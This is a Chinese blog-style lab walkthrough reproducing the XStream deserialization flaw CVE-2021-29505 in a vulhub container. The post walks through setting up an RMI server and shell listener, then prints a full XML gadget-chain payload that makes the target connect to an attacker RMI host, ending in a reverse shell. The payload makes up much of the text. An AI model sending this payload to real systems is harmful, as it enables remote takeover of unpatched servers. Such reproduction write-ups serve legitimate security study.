XStream反序列化指令執行漏洞複現(CVE-2021-29505)
講道理正經來講這個實驗需要四台機器模拟,不過條件有限,我就用兩台機器模拟了。
我們需要一台攻擊機
一台安裝了xstream服務的機器
一台安裝了RMI服務的機器
一台機器接收shell
這裡我的攻擊機是我的實體機(192.168.0.103),其他的三台機器全部由虛拟機代替了(192.168.248.163)
首先我們需要搭建漏洞環境
直接從vulhub上面克隆我們的漏洞環境,詳情自行百度
然後進入我們要複現的漏洞的路徑,運作
docker-compose up -d
等待我們環境搭建完畢
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnLzcjNwUGMxI2NwYmYxITZhRjN5QjNxYjMiJzN2QmN3gzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
大概就是這麼個效果,然後
docker ps
看一下剛剛運作的容器
可以看淡映射的主機端口,我們在我們的攻擊機上通路一下
大概就是這麼個效果。
然後我們在我們的虛拟機上搭建一個RMI伺服器,也就是遠端方法接口
這裡我們使用神奇ysoserial,工具自行github
我們需要運作的方法是這一句
然後再這個網站上編碼一下
http://www.jackson-t.ca/runtime-exec-payloads.html
箭頭指的部分就是我們需要的payload
然後我們在我們的RMI伺服器上運作
引号裡面的部分就是你上一步編碼的内容,2256就是監聽的端口,可以自定義
上圖是監聽成功的樣子
然後在我們的就收shell的伺服器上也就是你上一步生成payload填寫的ip的那天裝置上監聽對應的端口
然後我們通過burpsuite抓到通路xstream服務首頁的資料包。
把請求類型改成post,content-type改為xml
然後再請求體中粘貼下面這一串
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>[email protected] Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>192.168.248.163</string>
<int>2256</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>192.168.248.163</host>
<port>2256</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
上面涉及到ip與端口的地方均修改為你RMI伺服器的對應ip與端口
然後發送,看到響應了500的傳回值
在看看我們RMI伺服器列印的日志
基本可以确定利用成功了
再看看我們的監聽
嗯,很不錯呢!!成功複現。